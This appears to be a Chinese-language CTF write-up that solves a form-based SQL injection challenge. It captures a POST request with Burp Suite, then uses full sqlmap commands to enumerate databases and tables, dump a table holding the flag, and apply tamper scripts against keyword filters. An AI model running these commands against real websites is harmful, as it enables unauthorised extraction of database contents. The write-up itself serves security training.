目錄
引言
步驟1:用Burp Suite捕獲表單請求
步驟2:用Sqlmap獲取數據庫名稱
參數解釋:
輸出示例(根據題目環境調整):
步驟3:獲取目標數據庫中的表名
參數解釋:
輸出示例:
步驟4:獲取表中字段及數據
參數解釋:
輸出示例(關鍵部分):
注意事項與擴展技巧
總結
引言
在CTF(網絡安全競賽)中,SQL注入是最經典的題型之一。其中,??表單輸入型注入??(即通過POST請求提交的表單參數觸發注入)尤為常見——無論是Web安全入門練習,還是高階攻防對抗,這類題目都能很好地考察選手對SQL注入原理的理解與工具運用能力。
以下面的題目為例:
步驟1:用Burp Suite捕獲表單請求
表單注入的核心是??攔截POST請求??,并將請求保存為Sqlmap可識別的格式(.txt
)。具體操作如下:
- 打開目標頁面,找到需要提交數據的表單(例如登錄框、搜索框等)。
- 啟動Burp Suite,配置瀏覽器代理(默認端口8080),確保流量經過Burp。
- 在表單中填寫任意數據(如用戶名填
test
,密碼填123
),提交表單。 - 在Burp的“Proxy”標簽頁中,找到剛提交的POST請求(狀態碼通常為200或302),右鍵選擇“Send to Repeater”(發送到重放模塊)。
- 點擊“Repeater”標簽,確認請求的
Body
部分包含表單參數(例如username=test&password=123
)。
保存信息到txt文件里(這里保存到target.txt文件里):
步驟2:用Sqlmap獲取數據庫名稱
目標:通過表單參數(如username
)觸發注入,獲取目標數據庫的所有庫名。
進入cmd執行命令(注意要在sqlmap目錄下):
python sqlmap.py -r target.txt -p username --batch --dbs
參數解釋:
-r target.txt
:指定讀取之前保存的請求文件。-p username
:指定注入參數(即表單中可能被注入的字段,這里是username
)。--batch
:自動確認所有交互選項(省去手動輸入的麻煩)。--dbs
:枚舉目標服務器上的所有數據庫。
輸出示例(根據題目環境調整):
這里看到有一個名為geek
的數據庫(非系統庫,大概率是題目目標庫),后續操作將圍繞它展開。
步驟3:獲取目標數據庫中的表名
目標:在geek
數據庫中,找到可能存儲用戶數據的表(如user
、users
等)。
執行命令:
python sqlmap.py -r target.txt -p username --batch -D geek --tables
參數解釋:
-D geek
:指定要操作的目標數據庫(geek
)。--tables
:枚舉該數據庫下的所有表。
輸出示例:
?這里看到兩個表:geekuser
和l0ve1ysq1
。根據CTF常見命名習慣,l0ve1ysq1
(可能是“love1ysql1”的變形)更可能是存儲敏感數據的表(比如Flag),優先排查它。
步驟4:獲取表中字段及數據
目標:從l0ve1ysq1
表中提取字段名和具體數據(尤其是Flag)。
執行命令:
?
python sqlmap.py -r target.txt -p username --batch -D geek -T l0ve1ysq1 --dump
參數解釋:
-T l0ve1ysq1
:指定要操作的表(l0ve1ysq1
)。--dump
:導出該表的所有數據(包括字段名和內容)。
輸出示例(關鍵部分):
最終,我們在id=16
的記錄中找到了Flag:flag{898d3190-8bd7-4677-b553-8142542ae251}
!
注意事項與擴展技巧
- ??參數選擇??:如果
-p
指定的參數(如username
)未被注入,Sqlmap會提示“parameter not injectable”,此時需嘗試其他參數(如password
)。 - ??繞過過濾??:若題目中對關鍵字(如
UNION
、SELECT
)做了過濾,可通過--tamper
參數使用繞過腳本(如space2comment
用注釋符替換空格)。 - ??手動驗證??:Sqlmap雖強大,但CTF中可能存在“反套路”設計(如需要結合報錯注入、布爾盲注)。建議先手動驗證注入點類型(通過輸入
'
看是否報錯),再決定是否完全依賴工具。
?????
總結
本次實戰演示了如何用Sqlmap快速破解表單輸入型SQL注入題:從Burp抓包保存請求,到通過--dbs
、--tables
、--dump
逐步獲取數據庫結構與數據,最終定位Flag。
?(注:本文實驗環境為模擬場景,請勿用于非法滲透測試。)